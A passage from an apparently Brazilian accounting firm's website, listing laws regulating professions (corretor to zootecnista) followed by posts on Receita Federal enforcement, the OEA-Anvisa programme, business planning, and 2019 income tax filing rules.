Decreto nº 19.009 de 27 de novembro de 1929 – Regulamenta os Corretores de Navios.
Decreto nº 52.090 de 04 de junho de 1968 – Regulamenta a profissão de Corretor de Navios e de seus prepostos

 

 

23

 

 

Corretor de Seguros

Lei nº 4.594, de 29 de dezembro de 1964. Regula a profissão de Corretor de Seguros.  Decreto nº 56.903, de 24 de setembro de 1965. Regulamenta a profissão de Corretor de Seguros de vida e da capitalização, de conformidade com o art. 32 da Lei nº 4.594/64.
Lei nº 7.278, de 10.12.1984 – Nova redação ao artigo 4º, da Lei nº 4.594/64

 

24

 

Despachante Aduaneiro

Portaria Interministerial MF/MTb nº 209, de 10 de abril de 1980 – Dispõe sobre a habilitação para o exercício da atividade de despachante aduaneiro e de ajudante de despachante aduaneiro, bem como sobre o registro e a cassação de habilitação e dá outras providências

 

 

25

 

 

Economista

Lei nº 1.411, de 13 de agosto de 1951 – Dispõe sobre a profissão de Economista.  Decreto nº 31.794, de 21 de novembro de 1952 – Dispõe sobre a regulamentação do exercício da profissão de Economista.  Lei nº 6.537, de 19 de junho de 1978. Altera dispositivos da Lei nº 1.411/51.
Lei nº 1.411/51 foi dada pela Lei nº 6.021, de 04 de janeiro de 1974

 

 

26

 

 

Economista Doméstico

Lei nº 7.387, de 21 de outubro de 1985. Dispõe sobre o exercício da profissão de Economista Doméstico e dá outras providências.  Decreto nº 92.524, de 08 de abril de 1986. Regulamenta a Lei nº 7.387/85.  Lei nº 8.042, de 15 de junho de 1990. Cria os Conselhos Federal e Regionais de Economistas Domésticos, regula seu funcionamento e dá outras providências

 

27

 

Educação Física

Lei nº 9.696, de 01 de setembro de 1998 – Dispõe sobre a regulamentação da profissão de Educação Física e cria os respectivos Conselho Federal e Regionais de Educação Física

 

28

 

Empregado Doméstico

Lei nº 5.859, de 11/12/72 – Dispõe sobre a profissão de empregado doméstico e dá outras providências.  Decreto nº 71.885, de 09.03.1973 – Aprova o regulamento da Lei nº 5.859, de 11.12.1972

 

29

Empregados Vendedores, viajantes ou pracistas

Lei nº 3.207 de 18 de julho de 1957 – Regulamenta as atividades dos empregados vendedores, viajantes e pracistas

 

 

30

 

 

Enfermagem

Lei nº 5.905, de 12 de julho de 1973 – Dispõe sobre a criação dos Conselhos Federal e Regionais de Enfermagem e dá outras providências. Lei nº 7.498, de 25 de junho de 1986 – Dispõe sobre a regulamentação do exercício da enfermagem e dá outras providências. Decreto nº 94.406, de 08 de junho de 1987. Regulamenta a Lei nº 7.498/86. Lei nº 8.967, de 28/12/94

 

31

 

Engenharia de Segurança

Lei nº 7.410, de 27 de novembro de 1985 – Dispõe sobre a especialização de Engenheiros e Arquitetos em Engenharia de Segurança do Trabalho, a profissão de Técnico de Segurança do Trabalho e dá outras providencias.  Decreto nº 92.530, de 9 de abril de 1986 – Regulamenta a Lei nº 7.410/85

 

 

32

 

 

Engenheiro/ Arquiteto/ Agrônomo

Lei nº 5.194, de 24 de dezembro de 1966 – Regula o exercício das profissões de Engenheiro, Arquiteto e Engenheiro Agrônomo e dá outras providencias.  Lei nº 8.195, de 26 de junho de 1991 – Altera a Lei nº 5.194/66.
Decreto nº 241/67, incluiu entre as profissões cujo exercício é regulado pela lei nº 5.194/66, a profissão de engenheiro de operação.
Resolução CFEAA nº 313/86, de 26 de setembro de 1986, do Conselho federal de Engenharia, Arquitetura e Agronomia, dispõe sobre o exercício profissional dos Técnólogos das áreas submetidas á regulamentação e fiscalização instituídas pela Lei nº 5.194/66

33

 

Enólogo

Lei 11.476, de 29 de maio de 2007 – Dispõe sobre a regulamentação das profissões de Enólogo e Técnico em Enologia

 

34

 

Estatístico

Lei nº 4.739, de 15 de julho de 1965 – Dispõe sobre o exercício da profissão de Estatístico e dá outras providências.  Decreto nº 62.497, de 05 de abril de 1968 – Regulamenta o exercício da profissão de Estatístico.
Decreto nº 80.404/77

 

35

 

Farmacêutico

Lei nº 3.820, de 11 de novembro de 1960 – Cria o Conselho Federal e os Conselhos Regionais de Farmácia, e dá outras providências. Decreto nº 85.878, de 9 de abril de 1981 – Regulamenta a Lei nº 3.820/60. Lei nº 9.120/95. Lei nº 4.817. Lei nº 5.724/71

 

 

36

 

Fisioterapeuta e Terapeuta Ocupacional

Decreto-Lei nº 938, de 13 de outubro de 1969 – Prevê sobre as profissões de Fisioterapeuta e Terapeuta Ocupacional, e dá outras providências.   Lei nº 6.316, de 17 de dezembro de 1975 – Cria o Conselho Federal e os Conselhos Regionais de Fisioterapia e Terapia Ocupacional e dá outras providências.
Lei nº 9.098/95

 

37

 

Fonoaudiólogo

Lei nº 6.965, de 9 de dezembro de 1981 – Dispõe sobre a regulamentação da profissão de Fonaudiólogo, e determina outras providências.  Decreto nº 87.218, de 31 de maio de 1982 – Regulamenta a Lei nº 6.965/81.
Lei nº 9.9098/95

 

 

38

 

 

Geógrafo

Lei nº 6.664, de 26 de junho de 1979 – Disciplina a profissão de Geógrafo e dá outras providências.  Decreto nº 85.138, de 17 de setembro de 1980 – Regulamenta a Lei nº 6.664/79.
Lei nº 7.399, de 04 de novembro de 1985 – Altera a redação da Lei nº 6.664/79.
Decreto nº 92.290, de 10 de janeiro de 1986 – Regulamenta a Lei nº 7.399/85

39

Geólogo

Lei nº 4.076, de 23 de junho de 1962 – Regulamenta o exercício da profissão de Geólogo

 

40

 

Guardador e Lavador de Veículos

Lei nº 6.242, de 23 de setembro de 1975 – Dispõe sobre o exercício da profissão de Guardador e Lavador de veículos automotores, e dá outras providências.  Decreto nº 79.797, de 8 de junho de 1977 – regulamenta a Lei nº 6.242/75

41

Guia de Turismo

Lei nº 8.623 de 28 de janeiro de 1993 – Dispõe sobre a profissão de Guia de Turismo e dá outras providências

 

 

42

 

 

Jornalista

Decreto-Lei nº 972, de 17 de outubro de 1969 – Dispõe sobre o exercício da profissão de Jornalista.  Decreto nº 83.284, de 13 de março de 1979 – Dá nova regulamentação ao decreto-lei nº 972, de 17 de outubro de 1969, que dispõe sobre o exercício da profissão de Jornalista, em decorrência das alterações introduzidas pela Lei nº 6.612, de 07 de dezembro de 1978

 

43

 

Leiloeiro

Decreto nº 21.981, de 19 de outubro de 1932 – Regula a profissão de Leiloeiro no território da República.  Instrução Normativa nº 47, de 6 de março de 1996 – Dispõe sobre a matrícula e seu cancelamento como Leiloeiro e dá outras providencias

44

Leiloeiro Rural

Lei nº 4.021, de 20 de dezembro de 1961 – Cria a profissão de leiloeiro rural, e dá outras providencias

 

45

 

Mãe Social

Lei nº 7.644 de 18 de dezembro de 1987 – Dispõe sobre a regulamentação da atividade de mãe social, e dá outras providências

46

Massagista

Lei nº 3.968, de 5 de outubro de 1961 – Dispõe sobre o exercício da profissão de Massagista

 

47

 

Medicina Veterinária

Lei nº 5.517, de 23 de outubro de 1968 – Dispõe sobre o exercício da profissão de Médico Veterinário e cria os Conselhos Federal e Regionais de Medicina Veterinária.
Decreto nº 64.704, de 17 de junho de 1969 – Aprova o regulamento do exercício da profissão de Médico Veterinário e dos Conselhos de Medicina Veterinária

 

 

48

 

 

Médico

Lei nº 3.268, de 30 de setembro de 1957 – Dispõe sobre os Conselhos de Medicina, e dá outras providências.
Decreto nº 44.045, de 19 de julho de 1958 – Aprova o regulamento do Conselho Federal e Conselhos Regionais de Medicina a que se refere a Lei nº 3.268/57.
Lei nº 6.932, de 07 de julho de 1981 – Dispõe sobre as atividades do médico residente e dá outras providências

 

49

 

Meteorologista

Lei nº 6.835 de 14 de outubro de 1980 – Dispõe sobre o exercício da profissão de Meteorologista e dá outras providências

 

50

 

Museólogo

Lei nº 7.287, de 18 de dezembro de 1984 – Dispõe sobre a regulamentação da profissão de Museólogo;  Decreto nº 91.775, de 16 de outubro de 1985 – Regulamenta a Lei nº 7.287/84

51

 

Músico

Lei nº 3.857, de 22 de dezembro de 1960 – Cria a ordem dos músicos do Brasil e dispõe sobre a regulamentação do exercício da profissão de músico, e dá outras providências

 

 

52

 

 

Nutricionista

Lei nº 6.583, de 20 de outubro de 1978 – Cria os Conselhos Federal e Regionais de Nutricionistas, regula o seu funcionamento, e dá outras providências.  Decreto nº 84.444, de 31 de janeiro de 1980 – Regulamenta a Lei nº 6.583/78.  Lei nº 8.234, de 17 de setembro de 1991 – Regulamenta a profissão de Nutricionista e determina outras providências.  Lei nº 9.098, de 20 de setembro de 1995

 

53

 

Odontologia

Lei nº 4.324, de 14 de abril de 1964 – Institui os Conselhos Federal e Regionais de Odontologia e dá outras providências.  Decreto nº 68.704, de 04 de junho de 1971 – Regulamenta a Lei nº 4.324/64.  Lei nº 5.081, de 24 de agosto de 1966 – Regula o exercício da odontologia.  Lei nº 6.215, de 30 de junho de 1975

54

Optometria

Lei nº 2.948/03 – Dispõe sobre Curso Superior de Tecnologia em Optometria

 

55

 

Orientador Educacional

Lei nº 5.564, de 21 de dezembro de 1968 – Dispões sobre o exercício da profissão de orientador educacional.  Decreto nº 72.846, de 26 de setembro de 1973 – Regulamenta a Lei nº 5.564/68

 

 

56

 

 

Pescador

Decreto nº 58.827 de 14 de julho de 1996 – Promulga a Convenção Internacional nº 113.
Decreto-lei nº 221 de 28 de fevereiro de 1967 – Dispõe sobre a proteção e estímulos à pesca e dá outras providências.
Decreto nº 64.618 de 02 de junho de 1969 – Aprova o Regulamento de Trabalho a Bordo de Embarcações Pesqueiras

 

57

 

Petroquímico

Lei nº 5.811 de 11 de outubro de 1972 – Dispõe sobre o regime de trabalho dos empregados nas atividades de exploração, perfuração, produção e refinação de petróleo, industrialização do xisto, industria petroquímica e transporte de petróleo e seus derivados por meio de dutos

 

58

 

Professor

Decreto nº 86.324 de 31 de agosto de 1981 – Dispõe sobre o registro profissional dos Professores e dá outras providências

 

59

Propagandista e Vendedor de Produtos Farmacêuticos

Lei nº 6.224 de 14 de julho de 1975 – Regula o exercício da profissão de Propagandista e Vendedor de Produtos Farmacêuticos e dá outras providências

 

 

60

 

 

Psicologia

Lei nº 4.119, de 27 de agosto de 1962 – Dispõe sobre os cursos de formação em psicologia e regulamenta a profissão de psicólogo.  Decreto-Lei nº 706, de 25 de julho de 1969 – Estende aos portadores de certificado de curso de pós-graduação em psicologia e psicologia educacional, o direito assegurado pelo art. 19 da Lei nº 4.119/62.  Lei nº 5.766, de 20 de dezembro de 1971 – Cria o Conselho Federal e os Conselhos Regionais de Psicologia e dá outras providências.  Decreto nº 79.822, de 17 de junho de 1977 – Regulamenta a Lei nº 5.766/71

 

61

 

Publicitário/Agenciador de Propaganda

Lei nº 4.680, de 18 de junho de 1965 – Dispõe sobre o exercício da profissão de Publicitário e de Agenciador de Propaganda e dá outras providências.  Decreto nº 57.690, de 1 de fevereiro de 1966 – Aprova o regulamento para execução da Lei nº 4.680/65

 

62

 

Químico

Lei nº 2.800, de 18 de junho de 1956 – Cria os Conselhos Federal e Regionais de Química, dispõe sobre o exercício da profissão de Químico e dá outras providências.  Decreto nº 85.877 – Regulamenta a Lei nº 2.800/56.
Lei nº 5.735, de 17 de novembro de 1971

 

63

 

Radialista

Lei nº 6.615, de 16 de dezembro de 1978 – Dispõe sobre a regulamentação da profissão de Radialista e dá outras providências.  Decreto nº 84.134, de 30 de outubro de 1979 – Regulamenta a Lei nº 6.615/78.
Decreto nº 84.134, de 30 de outubro de 179

 

 

64

 

 

Relações Públicas

Lei nº 5.377, de 11 de dezembro de 1967 – Disciplina a Profissão de Relações Públicas e dá outras providências.  Decreto nº 63.283, de 26 de setembro de 1968 – Regulamenta a Lei nº 5.377/67.  Decreto-Lei nº 860, de 11 de setembro de 1969 – Dispõe sobre a Constituição do Conselho Federal e dos Conselhos Regionais de Profissionais de Relações Públicas e dá outras providências

 

65

 

Representantes Comerciais Autônomos

Lei nº4.886, de 09 de dezembro de 1965 – Regula as atividades dos Representantes Comerciais autônomos.
Lei nº 8.420, de 08 de maio de 1992 – Introduz alterações na Lei nº 4.886/1965

 

66

Secretário – Secretário Executivo e Técnico em Secretariado

Lei nº 7.377, de 30 de setembro de 1985 – Dispõe sobre a profissão de Secretário e dá outras providências.
Lei nº 9261, de 10 de janeiro de 1996

 

67

 

Sociólogo

Lei nº 6.888, de 10 de dezembro de 1980 – Dispõe sobre o exercício da profissão de Sociólogo e dá outras providências.  Decreto nº 89.531, de 5 de abril de 1984 – Regulamenta a Lei nº 6.888/80, que dispõe sobre o exercício da profissão de sociólogo e dá outras providências

 

 

68

 

 

Técnico em Administração (Processamento de Dados)

Lei nº 4.769, de 9 de setembro de 1965 – Dispõe sobre o exercício da profissão de técnico de administração, e dá outras providencias.  Lei nº 7.321, de 13 de junho de 1985 – Altera a denominação do Conselho federal e dos Conselhos Regionais de Técnicos de Administração e dá outras providências.  Decreto nº 61.934, de 22 de dezembro de 1967 – Dispõe sobre a regulamentação da exercício da profissão de Técnico de Administração e a constituição dos Conselho Federal e Regionais de Técnicos de Administração, de acordo com a lei nº 4.769/65, e dá outras providências. Leis nº 6.642/79 e 8.873/94

 

69

 

Técnico de Arquivo

Lei nº 6.546 de 04 de julho de 1978.
Decreto nº 82.590 de 06 de novembro de 1978 – Regulamenta a Lei nº 6.546/78

 

70

 

Técnico em Prótese Dentária

Lei nº 6.710, de 05 de novembro de 1979 – Dispõe sobre a profissão de Técnico em prótese Dentária e determina outras providencias.
Decreto nº 87.689, de 11 de outubro de 1982 – Regulamenta a Lei nº 6.710/79

71

 

Técnico em Radiologia

Lei nº 7.394, de 29 de outubro de 1985 – Regula o exercício da profissão de Técnico em radiologia e dá outras providências.
Decreto nº 92.790, de 17 de junho de 1986 – regulamenta a Lei nº 7.394/85

 

 

72

 

 

Técnico Industrial

Lei nº 5.524, de 5 de novembro de 1968 – Dispõe sobre o exercício da profissão de Técnico Industrial de nível médio.
Resolução Normativa nº 24, de 18 de fevereiro de 1970 – Autoriza os Conselhos Regionais de Química a procederem ao registro de Técnicos Industriais.  Decreto nº 90.922, de 02 de fevereiro de 1985 – regulamenta a lei nº 5.524/68 e dispõe sobre a profissão de técnico agrícola de nível médio ou de 2º grau

 

73

 

Tecnólogo

Resolução CFEAA nº 313 de 26 de setembro de 1986 – Dispõe sobre o exercício profissional dos Tecnólogos das áreas submetidas à regulamentação e fiscalização instituídas pela Lei nº 5.194 de 24 de dezembro de 1966

74

Telefonista

Decreto nº 99.351 de 27 de junho de 1990 – Regulamenta a Lei nº 7.850 de 23 de outubro de 1989

 

 

75

 

 

Tradutor Público

Decreto nº 13.609 de 21 de outubro de 1943 – Regulamento para ofício de Tradutor Público e Intérprete Comercial.
Instrução Normativa do DNRC nº 48 de 06 de março de 1996 – Dispõe sobre a habilitação, nomeação e matricula e seu cancelamento de Tradutor Público e Intérprete Comercial e dá outras providencias

 

76

Transportador Autônomo Rodoviário de Bens

Lei nº 7.290 de 19 de dezembro de 1984 – Define a atividade de Transportador Rodoviário de Bens e dá outras providências

 

77

 

Treinador de Futebol

Lei nº 8.650 de 22 de abril de 1993 – Dispõe sobre as relações de trabalho do Treinador Profissional de Futebol e dá outras providências

 

78

 

Vigias Portuários

Decreto nº 83.611 de 23 de junho de 1979 – Dispõe sobre a execução do serviço de vigilância em navios por vigias portuários, para o exercício da profissão e dá outras providências

 

 

79

 

 

Vigilantes

Lei nº 7.102 de 20 de junho de 1983 – Dispõe sobre segurança para estabelecimentos financeiros, estabelece normas para constituição e funcionamento das empresas particulares que exploram serviços de vigilância e de transporte de valores e dá outras providências.
Decreto nº 89.056 de 24 de novembro de 1983 – Regulamenta a Lei nº 7.102/83.
Portaria nº 23 SES de 18 de novembro de 1985 – Baixa normas para o registro profissional de vigilante

80

Zootecnista

Lei nº 5.550, de 4 de dezembro de 1968 – Dispõe sobre o exercício da profissão de Zootecnista

Fonte: RFB

Receita Federal inicia emissão de autos de infração para empresas notificadas por meio do Alerta e que não se autorregularizaram 

A Receita Federal iniciou a emissão dos autos de infração para as empresas que receberam a comunicação, por meio do sistema Alerta, de divergências encontradas entre o total da receita bruta informada no Programa Gerador do Documento de Arrecadação do Simples Nacional – Declaratório (PGDAS-D) e os valores das notas fiscais eletrônicas (NFe) de vendas emitidas, e que não se autorregularizaram.

Foi construída uma nova ferramenta tecnológica que identifica as divergências, automatiza procedimentos e permite a emissão de grande número de autos de infração de forma rápida e com baixo custo.

As autuações serão realizadas em lotes crescentes de contribuintes.

Os contribuintes autuados estão sendo comunicados por meio do Domicílio Tributário Eletrônico no Portal do Simples Nacional.

Enquanto não receber o auto de infração, o contribuinte ainda pode retificar suas declarações e pagar os valores devidos sem a aplicação da multa de ofício.

Fonte: SECRETARIA-EXECUTIVA DO COMITÊ GESTOR DO SIMPLES NACIONAL

Programa Brasileiro de Operador Econômico Autorizado

Portaria Conjunta dá início ao OEA-Integrado da Anvisa

O secretário Especial da Receita Federal, Marcos Cintra Cavalcanti de Albuquerque, e o Diretor-Presidente da Agência Nacional de Vigilância Sanitária, William Dib, assinaram nesta terça-feira, 07 de maio, a portaria que autoriza o planejamento e a execução do projeto-piloto no âmbito do Programa Brasileiro de Operador Econômico Autorizado (OEA), com o objetivo de desenvolver e testar o módulo complementar OEA-Integrado-Anvisa. O evento foi realizado no Auditório Hélio Pereira Dias, na sede da Anvisa, em Brasília.

Em 2018, a Portaria RFB nº 2384/2017 autorizou a participação de órgãos ou entidades da administração pública que exercem controle sobre operações de comércio exterior no Programa OEA, criando o módulo complementar do OEA-Integrado. Durante este mesmo ano, o módulo foi testado com a Secretaria de Defesa Agropecuária, do Ministério da Agricultura, e em 30 de outubro foi publicada a Instrução Normativa SDA nº 45 que oficializou o módulo OEA-AGRO.

Além da Anvisa, O Exército Brasileiro e a Agência Nacional de Aviação Civil (ANAC) já assinaram portarias aderindo ao programa, em 14 de março e 14 de junho, respectivamente.  Ambos os órgãos estão em estágios avançados de desenvolvimento de seus respectivos módulos complementares.

Desenvolvimento do OEA-Anvisa

Para desenvolvimento dos módulos complementares do OEA-Integrado pelos órgãos e entidades da Administração Pública, a RFB desenvolveu um material específico de orientação, a Cartilha OEA-Integrado.

Neste documento, o desenvolvimento é segmentado em dez passos, conforme figura ao lado, os quais devem ser seguidos pelos interessados para ter sucesso na implementação do módulo OEA-Integrado.

Ao assinar a Portaria Conjunta Inicial, a Anvisa concluiu o Passo 2 do desenvolvimento, sendo a definição do processo a ser integrado e dos benefícios a serem concedidos, os próximos desafios da Agência.

Benefícios

O interessado em se tornar um operador econômico autorizado deve comprovar que cumpre os requisitos e os critérios estabelecidos pela IN RFB nº 1.598/2015 para ser certificado no módulo principal, da Receita Federal. Com a certificação, a eles serão concedidos benefícios que se relacionam com a facilitação dos procedimentos aduaneiros, no país ou no exterior, de acordo com a modalidade de certificação, a função do operador na cadeia logística e o grau de conformidade.

A adesão ao Programa OEA é voluntária e o operador já deve estar certificado no módulo principal da RFB para poder pleitear a certificação OEA-Anvisa, que é um módulo complementar.

O OEA-Anvisa é uma das iniciativas mais aguardadas pelas empresas OEA, pois ele permitirá facilitar, com segurança e controle, os procedimentos de importação dos produtos controlados pela Anvisa, como medicamentos, agrotóxicos, alimentos e cosméticos, além de reduzir os custos operacionais das empresas importadoras, devido à maior previsibilidade de suas operações e otimizar a gestão de recursos humanos nos órgãos e entidades participantes.

Diminuição do custo Brasil

Para o diretor-presidente da Anvisa, William Dib, a agência avançou em um novo modelo de gestão e será possível dar mais esse passo graças à parceria com a Receita Federal. “Com a adesão ao Programa OEA, vamos inserir o país na economia mundial, e isso fará o Brasil ter menores custos e ser mais atrativos para que haja mais e mais investimentos no nosso país e trazendo maior desenvolvimento econômico”, declarou Dib.

Já o secretário especial da Receita Federal, Marcos Cintra Cavalcanti de Albuquerque, destacou que a inserção do Brasil no comércio internacional é um dos temas fundamentais neste momento. “Nós estamos muito orgulhosos do Programa, este passo que se dá com o OEA, sem dúvida alguma, é fundamental para inserir o país em um ambiente satisfatório”, concluiu.

Fonte: Receita Federal do Brasil

Seis erros que podem fazer seu empreendimento desandar

O planejamento é a base para abertura de qualquer empresa em qualquer ramo. Infelizmente, muitos empreendedores acreditam que basta ter a ideia e iniciar o negócio que o dinheiro vai entrar. Mas a verdade é bem diferente. É preciso estar de olho no mercado e atento aos erros que podem ser fatais para que a empresa conquiste seu espaço. Por isso vamos mostrar quais os principais erros cometidos pelos empreendedores.

1. Não faça tudo por um único cliente
Um erro muito comum é basear tudo o que faz na sua empresa no gosto de um cliente específico. Isso pode ser porque talvez ele seja o mais fiel ou até mesmo o seu primeiro cliente. Não esqueça que mais cedo ou mais tarde ele pode te abandonar e isso vai te trazer muito prejuízos.

2. Não ter fornecedores o suficiente
Comprar sempre nos mesmos fornecedores pode trazer alguns benefícios, como descontos por fidelidade, frete grátis, etc. Porém não esqueça de contar com mais de um fornecedor, pois falhas acontecem e o ideal é que você tenha a quem recorrer em uma situação complicada.

3. Não se planejar
A falta de planejamento é, para mim, o pior erro. Planejar com cuidado os passos de sua empresa pode ser a peça chave para garantia do sucesso, porém alguns empreendedores não o fazem e iniciam a empresa sem um plano de negócios que a sustente a médio e longo prazo.

4. Se enrolar com prazos

Seja na entrega de um produto ou serviço, não cumprir prazos pode fazer o seu cliente nunca mais comprar com você. Não dê prazos muito curtos apenas para garantir o cliente se você não tem certeza que conseguirá cumpri-los.

5. Vender de qualquer maneira

Você conquista um cliente e resolve que vai vender a ele a qualquer custo e na ânsia de fazer isso, acaba comprometendo a qualidade do seu produto/serviço.

6. Falta de capacitação

Lembre-se que quanto mais você se capacitar na área que está empreendendo, melhor vai ser a entrega de seu trabalho ao seu cliente e é isso que vai trazer mais sucesso ao seu negócio. Infelizmente, muitos empreendedores acabam iniciando em seus ramos sem o conhecimento necessário.

Fique atento a esses erros e diminua ao máximo as chances de seu negócio naufragar por isso.

Como criar um plano de negócios e garantir o sucesso de seu empreendimento

Ser dono do próprio negócio é o sonho de muita gente, principalmente os brasileiros, que vêem a crise como um impulsionador para se arriscar e empreender. Tem sido recorrente a procura de informações sobre o assunto.

O que deve estar muito claro é que, apenas a vontade de se tornar um empresário não é o suficiente para garantir o sucesso. O que vai colaborar com isso é o planejamento, que vai evitar que o futuro empresário cometa erros no caminho. Muitas empresas fecham as portas precocemente por não planejar suas ações.

A grande maioria não sabe muito bem como iniciar esse planejamento e assim evitar a falência precoce. O primeiro passo é criar um Plano de Negócios que vai servir como bússola para nortear o caminho a ser seguido.
O Plano de Negócios, nada mais é, que um documento com as informações necessárias para iniciar a abertura de uma empresa. Em posse dele, o empreendedor terá uma melhor visão de mercado e mais informação sobre o setor escolhido.

Comece definindo quais tipos de serviços e/ou produtos serão oferecidos e faça uma ampla pesquisa sobre os mesmos. Em seguida, deve definir qual o público-alvo e quanto tempo será necessário para obter de volta o dinheiro investido.

Opte por qual enquadramento tributário vai se inscrever e o capital social para inicio do negócio. Neste capital é interessante acrescentar um investimento para o marketing que será de total importância, principalmente nos primeiros meses.

Faça uma análise financeira de qualidade, nela deve ser computado todos os gastos e investimentos fixos e variáveis, além de estimar capital de giro e faturamento mensal da empresa. Nestes investimentos devem estar inclusos os custos de materiais e matérias-primas.

É recomendável que o empreendedor faça simulações de valores com relação as vendas, que devem ser pessimistas e otimistas. É uma maneira de tentar se precaver no caso de uma situação desfavorável.

O Plano de Negócios deve continuar auxiliando o empreendedor mesmo depois da abertura da empresa. É muito importante que durante sua gestão, ele continue sendo revisado e seguido. Isso vai fazer com que sua empresa alcance o sucesso e se mantenha no topo.

 

Quem deve declarar o Imposto de Renda 2019?

Este ano, o prazo para declaração do Imposto de Renda está mais curto devido o feriado de Carnaval. Diferente dos outros anos em que o contribuinte tinha cerca de dois meses para o preenchimento, o período será de 07 e março até 30 de abril de 2019 às 23:59, horário de Brasília. Recomendamos ao contribuinte que comece o preenchimento o quanto antes, uma vez que a não entrega da declaração dentro do prazo implica em multa que vai de R$ 165,74, valor mínimo, até 20% do valor de imposto devido. Além disso, o declarante pode cair na “malha-fina” caso omita alguma informação.

Conheça os critérios utilizados para definir quem deve declarar o Imposto de Renda:

* Contribuintes que residam no Brasil e que tenham tido ganhos, em 2018, superiores ao valor de R$ 28.559,70 ou R$ 1903,98 mensais;
* Pessoas que tenham ganho, em 2018, capital por meio de alienação de bens e direitos;
* Contribuintes que tenham tido ganhos não-tributáveis ou tributados exclusivamente na fonte e que tenham ultrapassado o valor de R$ 40 mil no ano passado;
* Pessoas que praticam atividade rural e tenham tido ganhos superiores a R$ R$ 142.798,50;
* Pessoas que tenham, até o dia 31 de dezembro de 2018, tomado posse de algum bem que ultrapasse o valor de R$ 300.000,00.
* Pessoas que tenham se tornado residentes em nosso país em qualquer mês de 2018 e tenha permanecido assim até o dia 31 de dezembro de 2018.
* Qualquer pessoa que tenha optado pela  isenção do imposto incidente em valor obtido na venda de imóveis residenciais e tenha utilizado o valor na aquisição de imóveis residenciais localizados no país. Isso dentro de 180 dias após a venda.

Nos anos anteriores, o contribuinte não precisava apresentar o CPF de seus dependentes, pois tratava-se de informação facultativa, porém em 2019, torna-se obrigatório o preenchimento independente da idade do mesmo.
Outro ponto que está diferente este ano é com relação aos bens do contribuinte que, a partir de agora, devem estar detalhados na declaração. Além disso, a alíquota efetiva deverá constar ao lado dos valores a pagar e da restituição a receber.

Os contribuintes que tiverem dúvidas sobre o preenchimento do Imposto de Renda 2019, devem procurar um escritório contábil e para lhe auxiliar e sanar todas as dúvidas.

Saiba o que é IRPF, Imposto de Renda de Pessoa Física, e como declarar em Interlagos

Se chegou o momento de declarar seu imposto de renda em Interlagos, não tem problema, saiba tudo sobre o IRPF neste post

Não importa se é a primeira ou milésima vez que você terá que declarar o seu Imposto de Renda de Pessoa Física, informações sobre a prática da declaração sempre são bem-vindas. Até porque, ninguém quer cair nas garras do leão, não é mesmo?

Então, para que você não tenha problema com o fisco em Interlagos. Por isso, montamos esse artigo para você saber exatamente o que é IRPF, além de saber tudo sobre a declaração do Imposto de Renda de Pessoa Físisca.

Saiba como declarar o IRPF

Imposto de Renda de Pessoa Física é um imposto federal, que atinge todo brasileiro (sendo pessoa física) que fature em dinheiro um valor acima do que for determinado pela Receita Federal. O cidadão, de forma anual, informará quanto lucrou no ano anterior para avaliação do governo e possivelmente uma restituição.

A pessoa deverá enviar detalhadamente as suas declarações de renda para a avaliação da Receita, todo início de ano. A Receita Federal, por sua vez, apurará se o pagamento dos impostos foi realizado de forma correta. Através desse cálculo, você saberá se pagou os tributos federais de forma coerente. Caso você tenha pago um valor superior, poderá, também, ser restituído.Para a dedução do IRPF

Existe a possibilidade de abatimento alguns gastos para que a base de cálculos seja diminuída, mas antes de definir o que será abatido é importante sabermos que existem dois tipos de deduções dos impostos que divergem de acordo com o que for adicionado na declaração.

Na Declaração Completa, é possível o abatimento de gastos em relações de saúde, educacionais, ações filantrópicas, entre outras coisas.

Por sua vez, na Declaração Simplificada, é necessário um pagamento de 20% da renda do tributo, pelo contribuinte. O valor limite é superior a R$16 mil, mais especificamente, R$16.754,34.

Prazo para declarar o IRPF

Inicia-se anualmente no começo de março e encerra-se no final de abril. Em 2018 o prazo será entre 2 de março e 30 de abril. Esse prazo é definido previamente pelo governo.

Documentação para declarar o IRPF

Para a declaração de Imposto de Renda de Pessoa Física em Interlagos é importante ter em mãos: declarações de anos anteriores (aso você esteja declarando pela primeira vez, precisará entregar o título de eleitor), rendimentos como empregador, indicadores de rendimentos bancários, informes de previdência privada, comprovação de despesas e bens de direito (móveis e imóveis)

Além disso pode ser pedido a parte: contribuição de INSS, notas ficais, rendimentos adição de dependentes, comprovações judiciais etc.Saiba como funciona a restituição do IRPF

Restituição? Como assim? Como funciona? Quanto devo receber? Essas perguntas são frequentes quando o contribuinte entende que existe a possibilidade de ser ressarcido. A Receita Federá fará o cálculo do que for declarado e ao ter o resultado te informará se você possui crédito. Se você possuir, o governo terá até dezembro do ano da declaração para te restituir.

Entretanto, da mesma forma que você pode possuir crédito, pode, também, possuir débito. Caso isso aconteça o governo terá concluído que você pegou uma quantidade menor de imposto do que deveria. Nesse caso, a Receita adicionará o valor para quitação através de pagamento em boleto ou automaticamente, através de débito bancário.

Saiba quais impostos a sua empresa pagará

Caso a sua declaração seja obrigatória, a omissão pode acarretar em multas inconvenientes.

O primeiro desconforto é que o seu CPF passa a ficar pendente de regularização, algo que pode dificultar o seu dia a dia, como:

  • Impossibilita realização de empréstimos;
  • Impossibilita certidões negativas para aluguel e venda de imóvel;
  • Impossibilita a retirada de passaporte;
  • Impossibilita a prestação de concurso público;
  • Gera problemas em transações bancárias.

Fora que, caso haja atraso na entrega da declaração, você será multado em 1% mensal em relação ao valor do imposto, que pode chegar até 20% em cima do valor declarado.

Saiba o que fazer, caso caia na malha fina do IRPF

Malha fina é o termo usado caso seja encontrado irregularidades e erros na declaração, após ser avaliadas minunciosamente pela Receita Federal. Você pode cair por pequenas divergências, nesse caso, basta ser eita a correção no portal do E-Cac, ou precisará adicionar ou excluir informações, assim sendo, precisará fazer uma Declaração de Retificação corrigindo o necessário.

Microempreendedores Individuais

Mudanças e mais impostos à vista: 26 ocupações são excluídas do MEI

Com o alto índice de desemprego registrado no país, cada vez mais brasileiros veem no empreendedorismo uma saída viável para fugir dos problemas financeiros. Seguindo essa tendência, o número de Microempreendedores Individuais a class=classtermo href=https://www.contabeis.com.br/termos-contabeis/mei(MEI)/a no país vêm aumentando e já chega aos 7,8 milhões (dados do Portal do Empreendedor).

